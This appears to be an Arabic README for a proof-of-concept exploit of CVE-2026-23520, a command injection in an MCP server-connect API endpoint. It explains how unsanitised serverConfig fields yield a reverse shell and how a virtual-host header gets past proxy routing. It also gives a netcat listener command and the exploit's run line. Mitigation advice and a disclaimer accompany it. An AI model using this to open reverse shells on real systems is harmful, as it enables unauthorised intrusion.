
🎓 إثبات مفهوم تعليمي لـ CVE-2026-23520. مختبر تحليل الثغرات الأمنية والتخفيف المتحكم فيه. 🧪
إخلاء مسؤولية: هذا المستودع والبرامج النصية الموجودة فيه مخصّصة حصريًا للأغراض التعليمية والأكاديمية فقط.
المعلومات المقدمة هنا تهدف إلى مساعدة الباحثين الأمنيين، ومدراء الأنظمة، والطلاب على فهم آليات ثغرات حقن الأوامر وتوجيه المضيف الافتراضي في بيئات المختبرات الخاضعة للتحكم (مثل منصات Capture The Flag).
لا تستخدم هذه الأداة أبدًا ضد أي نظام أو شبكة أو بنية تحتية دون إذن صريح ومكتوب من المالك. لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
يوفر هذا المستودع إثبات مفهوم (PoC) لاستغلال CVE-2026-23520 ضمن سياق تنفيذ Model Context Protocol (MCP) في بعض حِزم التطبيقات (مثل Arcane v1.13.0).
الثغرة هي خلل كلاسيكي من نوع حقن الأوامر. تقبل نقطة نهاية الواجهة البرمجية (/api/mcp/connect) حمولة JSON لتهيئة اتصال خادم جديد. تتضمن الحمولة كائن serverConfig يحتوي على حقلي command و args.
نظرًا لفشل التطبيق في تعقيم هذه الحقول بشكل صحيح قبل تنفيذها على نظام التشغيل المضيف، يمكن للمهاجم توفير أوامر bash ضارة (مثل قشرة عكسية) بدلاً من مسار خدمة شرعي.
في العديد من بيئات النشر الواقعية أو بيئات CTF، يؤدي مجرد إرسال الاستغلال إلى عنوان IP الرئيسي إلى خطأ 404 Not Found. يحدث ذلك لأن المكوّن المعرض للخطر (مثل MCPJam Inspector) يُستضاف خلف وكيل عكسي (مثل Nginx) يوجّه حركة المرور بناءً على ترويسة Host.
يختلف إثبات المفهوم هذا عن الاستغلالات التقليدية من خلال السماح للمستخدم بتحديد المضيف الافتراضي (vhost) صراحةً لتجاوز قواعد توجيه الوكيل والوصول إلى التطبيق المعرض للخطر مباشرةً.
يتطلب هذا البرنامج النصي Python 3 ومكتبة requests.
pip install requests
python3 exploit_vhost.py <target_ip> <target_port> <virtual_host> <listener_ip> <listener_port>
nc -lvnp 4444
python3 exploit_vhost.py 10.129.x.x 443 mcp.target.local 10.10.x.x 4444
ملاحظة: خطأ "Read timed out" متوقع ويشير إلى أن القشرة العكسية تم تنفيذها بنجاح وأنها تُبقي الاتصال مفتوحًا.
يجب على المدراء التأكد من تشغيل أحدث إصدار مُصَحَّح من البرنامج. إذا لم يكن التصحيح ممكنًا فورًا، فقيّد الوصول إلى نقطة النهاية /api/mcp/connect وتأكد من تطبيق تحقق صارم من المدخلات على جميع معاملات serverConfig.